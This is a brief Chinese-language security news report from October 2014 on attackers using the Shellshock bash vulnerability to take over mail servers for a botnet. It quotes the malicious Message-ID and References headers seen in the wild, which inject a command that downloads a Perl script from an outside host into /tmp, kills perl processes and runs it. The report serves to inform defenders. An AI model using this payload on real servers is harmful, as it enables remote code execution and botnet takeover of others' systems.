攻擊者利用Shellshock漏洞入侵郵件服務器
責編：admin ｜2014-10-29 17:51:10攻擊者正利用上個月披露的Shellshock漏洞入侵郵件服務器建立僵尸網絡。
Shellshock漏洞是指攻擊者向使用bash的Unix/Linux服務器發送精心構造的請求，誘騙bash遠程執行命令。安全研究人員報告，攻擊者向郵件服務器發送特定的消息頭字段，誘騙服務器執行一個 Perl腳本，成為僵尸網絡的一部分。
郵件消息頭的構成是：
Message-ID：() { ：； }；wget -O /tmp/.legend hxxp：//190-94-251-41/legend.txt；killall -9 perl；perl /tmp/.legend
References：() { ：； }；wget -O /tmp/.legend hxxp：//190-94-251-41/legend.txt；killall -9 perl；perl /tmp/.legend